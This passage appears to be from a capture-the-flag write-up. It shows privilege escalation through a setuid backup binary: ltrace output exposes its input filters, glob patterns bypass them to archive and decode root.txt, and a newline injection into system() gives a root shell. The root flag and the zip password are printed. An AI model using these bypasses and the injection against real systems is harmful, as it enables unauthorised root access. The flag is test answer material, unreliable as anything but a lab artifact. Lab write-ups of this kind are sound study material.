QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV}<wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ
QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ
QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW
QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,. -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ
QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ
If the run the backup binary with ltrace on /dev/shm, it shows many checks the binary is doing to prevent it from copying /etc
, /root
and some command injection techniques.
1
2
3
4
5
6
7
8
9
10
11
$ ltrace /usr/local/bin/backup a 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 /dev/shm
strstr("/dev/shm", "..") = nil
strstr("/dev/shm", "/root") = nil
strchr("/dev/shm", ';') = nil
strchr("/dev/shm", '&') = nil
strchr("/dev/shm", '`') = nil
strchr("/dev/shm", '$') = nil
strchr("/dev/shm", '|') = nil
strstr("/dev/shm", "//") = nil
strcmp("/dev/shm", "/") = 1
strstr("/dev/shm", "/etc") = nil
These checks can be easily bypassed using the above symlink method or just using regex. /root*
or /root?
still gets compared to /root
as the terminal resolves the regex before it gets passed to binary. "/root*"
works as it’s not resolved before.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
tom@node:/$ /usr/local/bin/backup a "" "/roo*/roo*txt"
[+] Validated access token
[+] Starting archiving /roo*/roo*txt
[+] Finished! Encoded backup is below:
UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWZPT+2B1eAsAAQQAAAAABAAAAADsmxirTcTj6ZI3jasUx1SakLyaYrFqGvgmpqDsmUHqwL7sHM1IjxONIGWIR0lQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA
$ echo 'UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWZPT+2B1eAsAAQQAAAAABAAAAADsmxirTcTj6ZI3jasUx1SakLyaYrFqGvgmpqDsmUHqwL7sHM1IjxONIGWIR0lQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA' | base64 -d > new.zip
$ unzip new.zip
unzip new.zip
Archive: new.zip
magicword
extracting: root/root.txt
$ cat root.txt
$ ls
new.zip root
$ cd root
$ ls
root.txt
$ cat root.txt
1722e99ca5f353b362556a62bd5e6be0
You can even add a flag for zip
command instead of that a
:
1
2
$ /usr/local/bin/backup -q "" "/roo*/roo*txt"
UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWZPT+2B1eAsAAQQAAAAABAAAAAAE4t81GPTCnYqcCzGSyZbXPduK38JSXVviph2VqJHS87POOw/KH/+ymQ58HxRQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA
Method-3 Get root shell
If you try to do some command injection, it’ll be probably be blocked by the binary. But everything passed to zip binary is passed to system(). A newline in system will work just like it does in a Bash script, breaking commands. I can try passing the \n
, using single or double quotes and then giving a new line, then completing the quote. That bash #
is taken from gtfobins
1
2
3
4
$ /usr/local/bin/backup -q "" "
bash #"
root@node:/tmp# whoami
root